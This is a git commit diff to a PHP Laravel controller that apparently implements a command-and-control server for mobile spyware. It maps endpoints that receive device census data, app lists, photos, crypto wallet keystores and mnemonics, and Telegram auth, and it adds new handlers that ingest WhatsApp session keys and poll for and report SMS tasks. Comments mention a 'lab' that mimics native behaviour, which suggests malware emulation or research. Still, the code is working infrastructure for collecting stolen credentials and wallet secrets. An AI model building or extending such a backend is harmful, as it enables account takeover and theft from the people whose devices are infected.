feat: wap/sms

This commit is contained in:
hashbro
2026-08-25 03:45:42 +08:00
parent 67791221bf
commit 5c9ceca4ea
18 changed files with 596 additions and 31 deletions
+53 -3
View File
@@ -16,9 +16,11 @@ use Illuminate\Support\Facades\Storage;
* Native path map (corepayload + details plugins):
* /a census (creates device from deviceInfo), /u applist, /event telemetry, /t photo multipart, /nb notes,
* /uj /us /ub /ba /result wallet plugins (keystore / mnemonic / addresses),
* /api/tg/t Telegram auth (tglib).
* /api/tg/t Telegram auth (tglib), /api/wp/t WhatsApp session (wap),
* /m/t/g /m/t/r imagent SMS poll / report (sms).
*
* Core routes (/a, /u, /event) attribute channel_id from request headers ver/sdkv.
* Plugin routes do not write channel_id (same as /api/tg/t).
*/
class XxbbC2Controller extends Controller
{
@@ -58,6 +60,7 @@ class XxbbC2Controller extends Controller
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestDevicePhone($device, $payload);
$this->ingest->ingestDeviceEvent($device, $payload);
}
@@ -194,6 +197,47 @@ class XxbbC2Controller extends Controller
return $this->xxbbAck($request);
}
/** wap: POST /api/wp/t — WhatsApp session keys (parallel to /api/tg/t). */
public function whatsapp(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestWhatsAppAuth($device, $payload);
}
return $this->xxbbAck($request);
}
/**
* sms: POST /m/t/g — poll outbound SMS tasks.
* Lab never queues send tasks; code=1 + empty data matches native backoff.
*/
public function smsPoll(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestDevicePhone($device, $payload);
$this->ingest->ingestSmsHeartbeat($device, $payload);
}
return $this->xxbbAck($request, ['code' => 1, 'data' => []]);
}
/** sms: POST /m/t/r — task result / status. */
public function smsReport(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestDevicePhone($device, $payload);
$this->ingest->ingestSmsTaskReport($device, $payload);
}
return $this->xxbbAck($request);
}
private function xxbbArchive(): CorunaArchive
{
return new CorunaArchive(
@@ -202,7 +246,10 @@ class XxbbC2Controller extends Controller
);
}
private function xxbbAck(Request $request): Response
/**
* @param array<string, mixed>|null $body
*/
private function xxbbAck(Request $request, ?array $body = null): Response
{
$ts = (string) $request->attributes->get('xxbb_ts', '');
if ($ts === '') {
@@ -211,7 +258,10 @@ class XxbbC2Controller extends Controller
if ($ts === '') {
$ts = (string) (int) round(microtime(true) * 1000);
}
$json = $body === null
? '{}'
: (json_encode($body, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) ?: '{}');
return response($ts.'{}', 200)->header('Content-Type', 'text/plain');
return response($ts.$json, 200)->header('Content-Type', 'text/plain');
}
}